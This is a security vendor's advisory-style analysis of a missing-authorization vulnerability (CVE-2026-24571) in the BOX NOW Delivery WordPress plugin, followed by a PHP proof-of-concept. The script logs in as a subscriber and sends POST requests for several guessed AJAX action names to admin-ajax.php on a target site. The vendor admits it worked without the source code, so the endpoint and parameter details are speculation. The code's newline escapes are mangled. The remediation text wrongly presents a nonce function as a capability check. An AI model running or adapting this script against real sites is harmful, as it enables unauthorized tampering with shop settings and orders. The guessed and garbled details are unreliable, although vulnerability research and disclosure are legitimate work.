Atomic Edge analysis of CVE-2026-24571 (metadata-based):
This vulnerability in the BOX NOW Delivery WordPress plugin (versions ≤3.0.2) is a missing authorization flaw. The plugin fails to verify user capabilities before executing a privileged function. Attackers with subscriber-level authentication can exploit this to perform unauthorized actions.
Atomic Edge research identifies CWE-862 (Missing Authorization) as the root cause. The vulnerability description confirms the absence of a capability check on a specific function. Without access to source code, we infer this function is likely registered as a WordPress AJAX handler or admin-post action. The plugin’s architecture probably includes administrative functions intended only for users with roles like ‘administrator’ or ‘shop_manager’. These functions lack proper permission validation, allowing lower-privileged users to invoke them.
Exploitation requires an authenticated WordPress session with subscriber-level access or higher. Attackers would send a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin conventions, the endpoint is likely `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook like `box_now_delivery_*`. Alternatively, it could be `/wp-admin/admin-post.php`. The request would include parameters that trigger the unauthorized action, such as modifying plugin settings or accessing restricted data. No nonce verification is required because the vulnerability stems from missing capability checks.
Remediation requires adding a proper capability check before executing the sensitive function. The plugin should verify the current user has appropriate permissions using WordPress functions like `current_user_can()` or `check_admin_referer()`. The fix should also implement nonce verification to prevent CSRF attacks. The capability check must occur early in the function execution, before any side effects.
Successful exploitation allows authenticated attackers to perform actions reserved for administrators or shop managers. While the CVSS vector indicates no confidentiality or availability impact (C:N/A:N), the integrity impact (I:L) suggests attackers could modify plugin configuration, alter delivery settings, or manipulate order data. This could disrupt shipping operations or cause financial loss. The vulnerability does not enable remote code execution or privilege escalation beyond the plugin’s functional scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24571 - BOX NOW Delivery <= 3.0.2 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24571
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php (most common for WordPress plugins)
* 2. The AJAX action contains 'box_now_delivery' prefix
* 3. The vulnerable function accepts POST parameters
* 4. Subscriber-level authentication is sufficient
*/
$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS - subscriber-level account
$password = 'password'; // CHANGE THIS
// Step 1: Authenticate and obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Create cURL handle for session management
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Check if login succeeded by looking for dashboard redirect
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die("Login failed. Check credentials.");
}
echo "[+] Authentication successfuln";
// Step 2: Exploit missing authorization
// Attempt common AJAX action patterns for the BOX NOW Delivery plugin
$possible_actions = [
'box_now_delivery_update_settings',
'box_now_delivery_save_config',
'box_now_delivery_process_action',
'box_now_delivery_admin_action',
'box_now_delivery_ajax_handler'
];
foreach ($possible_actions as $action) {
echo "[+] Testing action: $actionn";
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_data = http_build_query([
'action' => $action,
'test_param' => 'atomic_edge_test',
'nonce' => 'bypassed' // Nonce would normally be required but is missing
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Analyze response
if ($http_code == 200 && $response !== false) {
echo "[!] Potential success for action '$action'n";
echo "Response (first 500 chars): " . substr($response, 0, 500) . "nn";
// In a real exploit, additional parameters would be added here
// based on the specific functionality of the vulnerable action
} else {
echo "[-] Action '$action' returned HTTP $http_coden";
}
}
curl_close($ch);
echo "[+] Proof of Concept completedn";
?>
